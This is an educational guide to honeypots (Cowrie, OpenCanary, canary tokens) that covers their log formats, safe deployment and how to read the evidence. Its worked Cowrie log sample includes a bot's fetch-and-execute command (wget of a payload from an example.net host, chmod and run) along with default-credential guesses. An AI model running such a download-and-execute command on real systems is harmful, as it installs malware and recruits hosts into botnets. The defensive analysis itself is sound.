Skip to content
threat-intelintermediate#honeypot#deception#cowrie#opencanary#canarytokens#threat-intel#blue-team

Honeypot: Cowrie, OpenCanary and Canary Tokens

How honeypots work: low and high interaction, research and production sensors, canary tokens and honeynets, what Cowrie and OpenCanary logs contain, how to deploy one safely, and when one is worth running.

Most security telemetry has a base-rate problem. A failed SSH login on a production server could be an attacker or a developer with a typo, and a SOC spends its day deciding which. A honeypot removes that question by being something nobody should ever touch. A login to it is suspicious by definition.

NIST's glossary, drawing on RFC 4949, describes a honeypot as a system (such as a web server) or a system resource (such as a file) designed to be attractive to potential intruders. That covers a wide range: a fake SSH server on the internet, a decoy file share on an office network, or a single fake AWS key left in a repository. This guide covers how each kind works, what the logs from two common open-source sensors actually contain, how to run one without creating a new problem, and when the effort pays off.

Scope: Threat Hunting Guide owns hypothesis-driven hunting across your real telemetry, What Is a SIEM owns the pipeline sensor logs flow into, and What Is a Botnet owns the botnets whose scanners fill an internet-facing sensor.

The two axes: interaction and purpose

Honeypots are usually sorted on two independent axes.

Interaction is how much of a system the attacker gets.

  • Low interaction emulates the surface of a service. The sensor completes enough of the protocol to receive a username and password or a request, logs it, and refuses. There is no operating system behind it to compromise. OpenCanary works this way.
  • Medium interaction emulates a shell. The attacker logs in, gets a prompt, runs commands against a fake filesystem and can download files. Cowrie's default shell mode is this.
  • High interaction gives the attacker a real system. Cowrie's proxy mode relays the session to a real backend host and records it. Everything the attacker can do on a real machine, they can do here, which is why this tier needs the most containment.

Purpose is what the data is for.

  • Research sensors face the internet to learn what attackers do: which credentials they try, which scripts they run, which malware they fetch. Their value is in volume and in the artifacts.
  • Production sensors sit inside a network as tripwires. Nobody legitimate connects to a decoy file server called FS-FINANCE-02, so the first connection is an alert. Their value is in the alert, and a production sensor that logs nothing for a year has still done its job.

Two related forms complete the picture.

Honeytokens (Thinkst calls its implementation canary tokens) are data with no legitimate use: a URL, a DNS hostname, a document, a database dump, a set of cloud API keys. They do not listen on a port. They alert when someone opens, resolves or uses them, which makes them the cheapest production sensor available.

Honeynets are networks of honeypots behind a controlling gateway. The Honeynet Project's "Know Your Enemy: Honeynets" paper lists the gateway's key requirements as data control, data capture, data analysis and data collection, and puts data control first. Data control (containing what the attacker can reach) and data capture (recording everything they do) still define safe deployment for any high-interaction sensor. MITRE D3FEND catalogues the defensive side as Decoy Environment (D3-DE), with connected, integrated and standalone honeynet variants under it.

TypeExampleWhat the attacker getsWhat you getRisk if mishandled
HoneytokenCanarytokens AWS key, DNS tokenNothing to interact withAn alert with the time and the requester's detailsVery low
Low interactionOpenCanary SSH, SMB, RDP, MySQL modulesA login prompt that never succeedsCredentials tried, client banner, source addressLow
Medium interactionCowrie shell modeAn emulated shell and fake filesystemCredentials, every command, download URLs, file hashesModerate: real outbound downloads
High interactionCowrie proxy mode, a real VMA real systemFull behaviour, including post-exploitationHigh: the host can be used to attack others
HoneynetSeveral sensors behind a controlling gatewayA small networkLateral movement and tooling across hostsHighest

How Cowrie works

Cowrie is an SSH and Telnet honeypot maintained by Michel Oosterhof and descended from Kippo. The project describes it as medium to high interaction, with three modes:

  • Shell (the default) emulates a UNIX system in Python, with a fake filesystem resembling a Debian 5.0 install and small fake file contents for files attackers commonly cat, such as /etc/passwd.
  • Proxy relays SSH and Telnet to a real backend, optionally a pool of QEMU virtual machines that Cowrie manages.
  • LLM (experimental) generates shell responses with a language model.

Out of the box, Cowrie listens for SSH on port 2222 and has Telnet disabled; when Telnet is enabled it listens on 2223. Exposing it on port 22 means moving the real sshd to another port first and redirecting 22 to 2222 with a firewall rule (Cowrie refuses to start as root, so it cannot bind port 22 directly). Events then report dst_port 2222, the port Cowrie actually accepted on.

Which logins succeed is set in etc/userdb.txt. Without that file Cowrie uses its bundled example, which rejects root with the password root, 123456 or anything containing honeypot, and accepts every other username and password. A bot working through a password list usually gets in within a few attempts and then shows you what it does next.

Cowrie writes two logs that matter: var/log/cowrie/cowrie.json (one JSON event per line) and TTY recordings under var/lib/cowrie/tty/ that the bundled playlog utility replays keystroke by keystroke. Files fetched with wget or curl, or uploaded over SFTP and SCP, are saved under var/lib/cowrie/downloads/, named by their SHA-256.

The event model

Every Cowrie event carries eventid, message, sensor (the hostname by default), timestamp (ISO 8601, UTC), session and src_ip. Events from a connection also carry protocol, src_port, dst_ip and dst_port. The session id is a 12-character hex string generated per connection, and it is the key that ties a session's events together.

The event ids an analyst reads most:

eventidMeaningKey attributes
cowrie.session.connectNew connection, always the first eventsrc_ip, src_port, dst_ip, dst_port
cowrie.client.versionThe client's SSH identification stringversion
cowrie.client.kexThe client's key exchange offer and its HASSH fingerprinthassh, kexAlgs, encCS
cowrie.login.failed / cowrie.login.successAn authentication attemptusername, password
cowrie.command.inputA command line the attacker enteredinput
cowrie.command.failedA command the emulated shell does not implementinput
cowrie.session.file_downloadA file fetched into the honeypoturl, shasum, outfile, duplicate
cowrie.session.file_download.failedA download that did not completeurl, error
cowrie.session.file_uploadA file sent over SFTP or SCPfilename, shasum, outfile
cowrie.direct-tcpip.requestA request to tunnel traffic through the sensordst_ip, dst_port
cowrie.session.closedThe connection endedduration_ms

The full list lives in Cowrie's src/cowrie/core/eventids.py, and its test suite checks that docs/OUTPUT.rst documents exactly those ids.

A worked example: one bot session in Cowrie

Here is a single session as it appears in cowrie.json. The addresses come from the documentation ranges, the download host is an example.net name and the hash is of a synthetic file, but every event id, field name and message format is Cowrie's own. Lines are trimmed of protocol, dst_ip, src_port and uuid for width, and events not discussed below (cowrie.client.kex, terminal size, TTY log open and close) are left out.

{"eventid":"cowrie.session.connect","session":"4f1c9a07be32","src_ip":"203.0.113.45","dst_port":2222,"sensor":"sensor-sg-01","timestamp":"2026-11-02T03:14:07.512338Z","message":"New connection: 203.0.113.45:51022 (192.0.2.10:2222) [session: 4f1c9a07be32]"}
{"eventid":"cowrie.client.version","session":"4f1c9a07be32","src_ip":"203.0.113.45","version":"SSH-2.0-Go","sensor":"sensor-sg-01","timestamp":"2026-11-02T03:14:07.844120Z","message":"Remote SSH version: SSH-2.0-Go"}
{"eventid":"cowrie.login.failed","session":"4f1c9a07be32","src_ip":"203.0.113.45","username":"root","password":"root","sensor":"sensor-sg-01","timestamp":"2026-11-02T03:14:08.402771Z","message":"login attempt [root/root] failed"}
{"eventid":"cowrie.login.failed","session":"4f1c9a07be32","src_ip":"203.0.113.45","username":"root","password":"123456","sensor":"sensor-sg-01","timestamp":"2026-11-02T03:14:08.977045Z","message":"login attempt [root/123456] failed"}
{"eventid":"cowrie.login.success","session":"4f1c9a07be32","src_ip":"203.0.113.45","username":"root","password":"admin","sensor":"sensor-sg-01","timestamp":"2026-11-02T03:14:09.551392Z","message":"login attempt [root/admin] succeeded"}
{"eventid":"cowrie.command.input","session":"4f1c9a07be32","src_ip":"203.0.113.45","input":"uname -a; nproc","sensor":"sensor-sg-01","timestamp":"2026-11-02T03:14:10.120864Z","message":"CMD: uname -a; nproc"}
{"eventid":"cowrie.command.input","session":"4f1c9a07be32","src_ip":"203.0.113.45","input":"cd /tmp && wget http://dl.example.net/x86 && chmod +x x86 && ./x86","sensor":"sensor-sg-01","timestamp":"2026-11-02T03:14:10.688213Z","message":"CMD: cd /tmp && wget http://dl.example.net/x86 && chmod +x x86 && ./x86"}
{"eventid":"cowrie.session.file_download","session":"4f1c9a07be32","src_ip":"203.0.113.45","url":"http://dl.example.net/x86","shasum":"923699d4adbb9159ed7b56c3451ddc669bc12b212156ef0350c539c8bd54dcd5","outfile":"var/lib/cowrie/downloads/923699d4adbb9159ed7b56c3451ddc669bc12b212156ef0350c539c8bd54dcd5","duplicate":false,"sensor":"sensor-sg-01","timestamp":"2026-11-02T03:14:11.903577Z","message":"Downloaded URL (http://dl.example.net/x86) with SHA-256 923699d4adbb9159ed7b56c3451ddc669bc12b212156ef0350c539c8bd54dcd5 to var/lib/cowrie/downloads/923699d4adbb9159ed7b56c3451ddc669bc12b212156ef0350c539c8bd54dcd5"}
{"eventid":"cowrie.session.closed","session":"4f1c9a07be32","src_ip":"203.0.113.45","duration_ms":5108,"sensor":"sensor-sg-01","timestamp":"2026-11-02T03:14:12.620481Z","message":"Connection lost after 5108 milliseconds"}

Read top to bottom, it says:

  1. The client is a program. The version string names a Go SSH library, and the whole session lasts about five seconds. A person typing does not log in, fingerprint the CPU and fetch a payload that fast.
  2. It worked through a list. Three passwords in about a second, starting with the most common defaults. This is ATT&CK T1110.001 (Password Guessing). The same password across many usernames would be T1110.003 (Password Spraying), and known username and password pairs from a breach would be T1110.004 (Credential Stuffing).
  3. It checked the host before dropping a payload. uname -a and nproc tell the script the architecture and core count, which matters to a bot choosing a binary or sizing a miner.
  4. It fetched and ran a file. The download is ATT&CK T1105 (Ingress Tool Transfer). The file name x86 suggests the script picks a binary per architecture. The URL and the SHA-256 are the two indicators worth keeping.

That pattern (guess, fingerprint, fetch, execute, leave) is the most common shape of activity on an internet-facing SSH sensor, and it is how IoT botnets have long recruited devices. CISA's 2016 alert on Mirai described it scanning the internet for IoT devices and logging in with a short list of 62 common default usernames and passwords. A sensor that logs in on weak passwords sits squarely in that stream.

Illustrated cybersecurity scene for Honeypot: Cowrie, OpenCanary and Canary Tokens
Illustration for Honeypot: Cowrie, OpenCanary and Canary Tokens.

How OpenCanary works

OpenCanary is Thinkst's open-source multi-protocol honeypot, the free sibling of its commercial Canary appliance. Its README states the primary use case directly: catching attackers after they have breached non-public networks. It runs as a daemon (opencanaryd), needs very few resources (the README mentions a Raspberry Pi), and enables services from one JSON config file, created with opencanaryd --copyconfig at /etc/opencanaryd/opencanary.conf.

The modules cover FTP, HTTP and HTTPS login pages, an HTTP proxy, SSH, Telnet, MySQL, MSSQL, Redis, MongoDB, RDP, VNC, SNMP, SIP, TFTP, NTP, Git, SMB through Samba, LLMNR, generic TCP banners and a Linux-only port scan detector that uses iptables. In the default sample config most services start disabled; FTP is on, and SSH, Telnet, RDP, SMB and the rest are switched on per sensor.

Every event is one JSON object with a fixed envelope, filled in by opencanary/logger.py and written with sorted keys, by default to /var/tmp/opencanary.log:

{"dst_host": "10.20.0.15", "dst_port": 22, "local_time": "2026-11-02 03:20:41.118204", "local_time_adjusted": "2026-11-02 11:20:41.118220", "logdata": {"LOCALVERSION": "SSH-2.0-OpenSSH_5.1p1 Debian-4", "PASSWORD": "Winter2026!", "REMOTEVERSION": "SSH-2.0-OpenSSH_9.6p1", "USERNAME": "svc_backup"}, "logtype": 4002, "node_id": "opencanary-1", "src_host": "10.20.4.77", "src_port": 50914, "utc_time": "2026-11-02 03:20:41.118210"}

The fields to know:

  • logtype is a number. 4000 is a new SSH connection, 4002 an SSH login attempt, 2000 an FTP login attempt, 3001 an HTTP login POST, 5000 an SMB file open, 6001 a Telnet login attempt, 14001 RDP, 17001 a Redis command. Types 1000 to 1006 are the daemon's own records (boot, message, debug, error and so on) and carry no attacker activity.
  • logdata holds the service-specific detail. For SSH it is the username, password and both version strings.
  • utc_time is UTC. Despite its name, local_time is also written from UTC in the current code. local_time_adjusted is the sensor's local clock with no offset attached, so never treat it as UTC when correlating.
  • node_id names the sensor, opencanary-1 by default. Change it per sensor or every alert looks like it came from the same box.

The example above is what an internal tripwire is for. An SSH login attempt from a workstation (10.20.4.77) to a decoy server, with a service account name and a plausible password, is either a misconfigured script or someone moving laterally with harvested credentials. Both are worth knowing about today. Lateral Movement Explained covers what usually comes next.

How canary tokens work

Canary tokens work the other way round: you place an object that phones home when someone uses it. Thinkst's documentation describes them as motion sensors for networks, computers and clouds, and the free service at canarytokens.org offers more than 30 types, including:

  • DNS: a unique hostname. Anyone who resolves it triggers an alert. Useful inside config files, scripts and documents.
  • Web bug (HTTP): a unique URL. Anyone who browses to it triggers an alert.
  • AWS API keys: a key pair to leave in a repository or on a developer laptop. Any use against the AWS API triggers an alert. Because the alert passes through AWS logging, the documentation warns it can arrive 2 to 30 minutes after use.
  • Documents and dumps: Word, Excel and PDF files, a MySQL dump, a kubeconfig, a WireGuard config and others that alert when opened or used.

Alerts go to email or a webhook. The server is open source (thinkst/canarytokens, with a Docker deployment) for teams that do not want token hits passing through a third party.

The strength of a token is placement. A fake aws_credentials file in a build server's home directory, or a DNS token inside a password-manager export that should never leave the vault, is a tripwire on exactly the path an intruder takes. The weakness is that a DNS alert shows the resolver that queried the name, which may be a corporate or public resolver rather than the attacker's host.

Deploying one safely

A honeypot is a deliberately weak system that you connect to the network on purpose. The precautions below come from that.

Isolate it. Put an internet-facing sensor on its own VPS or VLAN with no route to production, no shared credentials, no shared SSH keys and no mounted storage. An internal sensor needs to be reachable from the networks it watches, and nothing on it should be trusted by anything else. Network Segmentation Guide covers the zoning.

Control egress. This is the step most often skipped. Cowrie's shell is fake, but its wget, curl, tftp and ftpget commands make real outbound requests to fetch the attacker's file. Cowrie's own config notes the out_addr setting exists so the honeypot's real interface address does not leak in that traffic, and download_limit_size caps how much is stored (it is unlimited by default). Port forwarding is safer than it sounds: by default a direct-tcpip request is logged and discarded, and it only reaches the network if you configure forward_redirect or forward_tunnel. For a high-interaction sensor, follow the Honeynet Project's data-control principle: rate-limit or block outbound connections at a gateway the honeypot cannot touch, so a compromised host cannot be used to scan, spam or attack others.

Change the defaults. Default values are how sensors get fingerprinted:

  • Cowrie's default hostname is svr04, its fake filesystem is a Debian 5.0 layout, and it ships a fixed SSH version string. Change the hostname and version, and edit the filesystem with fsctl.
  • OpenCanary's sample config sets the SSH version to SSH-2.0-OpenSSH_5.1p1 Debian-4, a version over fifteen years old, the HTTP banner to Apache/2.2.22 (Ubuntu) and the node id to opencanary-1.

Bots rarely check. A human operator who sees an ancient banner on a box that otherwise looks modern will leave, and an internal decoy that a red team spots in the first scan teaches you nothing about them.

Treat the downloads as live malware. Files in var/lib/cowrie/downloads/ are whatever the attacker fetched. Move them only to an analysis environment, never open them on a workstation, and look up hashes before uploading samples anywhere public. Intro to Malware Analysis covers safe handling.

Ship logs off the box. A compromised high-interaction host can rewrite its own logs. Forward the JSON to a collector the honeypot cannot write to.

Settle the legal and ethical questions first. On your own infrastructure the main exposures are capturing the content of other people's communications, which interception and privacy laws treat differently by jurisdiction, and liability if an attacker uses your sensor to harm a third party. Inside an organisation, get written approval and tell the incident response team the sensor exists, so its first alert is not treated as a false positive. Password fields in honeypot logs often contain real passwords people reused, so store and share logs as sensitive data. This is general guidance; ask counsel about your own jurisdiction before running a high-interaction sensor.

Reading the evidence

Raw volume is the least informative number a sensor produces. The questions that turn a log into intelligence:

  1. How many sessions went past login? Group by session id and separate sessions that only failed logins from those that ran commands, opened tunnels or fetched files. The second group is where the behaviour is.
  2. What was downloaded, and from where? Collect distinct URLs and SHA-256 values from cowrie.session.file_download. Note that a URL in a command does not prove a download happened; cowrie.session.file_download.failed records the ones that did not.
  3. Which commands repeat across sources? The same command string from dozens of addresses is one script running on many infected hosts. That string is a good detection candidate for real servers, written once as a Sigma rule.
  4. Which credentials were tried? The list shows what attackers expect to work. If a service account name from your own estate appears in an internet sensor's logs, it has leaked.
  5. What is the denominator? A sensor that ran for 40 hours cannot be compared with one that ran for 400. Log span is also an unreliable stand-in for uptime, since a sensor can be down mid-span.

Keep two caveats in mind. A source IP identifies the last hop, usually a compromised device or a residential connection that changes hands, so blocklists built from sensor IPs age quickly and say little about who is behind them. And a hash or URL the sensor reports is a reported value until you have verified the file yourself.

The Honeypot Workbench does this triage in the browser: it parses Cowrie and OpenCanary JSON (including T-Pot Elasticsearch exports), groups events into sessions, lists artifact URLs and hashes as inert text, compares runs on equal monitored hours, and drafts a sensor plan from a stated objective. Nothing is uploaded.

To place the findings in a framework, map each behaviour to ATT&CK as in the worked example. MITRE ATT&CK Framework Explained covers the taxonomy.

Failure modes

  • A research sensor with no research question. An internet SSH sensor fills its log within hours of going live, mostly with the same credential lists and scripts others have already published. Without a question (which payloads target ARM devices this month, does a leaked credential get tried) the data sits unread.
  • Internal sensors nobody watches. A production tripwire is only as good as the path its alert takes. If OpenCanary logs to a local file and nothing ships it to the SIEM or pages someone, the one alert that matters will be read months later.
  • Decoys that do not fit the network. A decoy named honeypot-01, or an SMB share on a subnet with no Windows hosts, is skipped by anyone careful. Name and place decoys like the real assets around them.
  • No egress control. A medium or high-interaction sensor with open outbound access turns your address into a participant in someone else's attack.
  • Confusing a fake success with a real one. A Cowrie cowrie.login.success means the emulated shell accepted a password. It says nothing about whether that password works on any real system.

Verdict

Run a honeypot when you can state what you want from it.

  • Inside a network, yes, nearly always. An OpenCanary sensor on a spare VM, or a handful of canary tokens on file shares, build servers and in a password vault, costs little and produces alerts with almost no false positives. For most organisations this is the highest-value deception control available, and it complements threat hunting by flagging the intruder who is moving quietly enough to evade other detections.
  • On the internet, only for a question. A Cowrie sensor is a good way to learn how automated SSH attacks work, to collect payload URLs and hashes for your own blocklists, or to check whether your organisation's credentials circulate. As a source of unique threat intelligence it competes with large public sensor networks, and a single box rarely sees anything they do not.
  • High interaction, only with a gateway you control. Proxy mode and real VMs show the most and carry the most risk. Run them only with the data control and data capture the Honeynet Project set out, and with legal sign-off.

If you are starting from nothing, plant canary tokens this week, put one OpenCanary sensor on an internal subnet next, and stand up an internet-facing Cowrie only when you have the question it will answer.

Sources & further reading

Related guides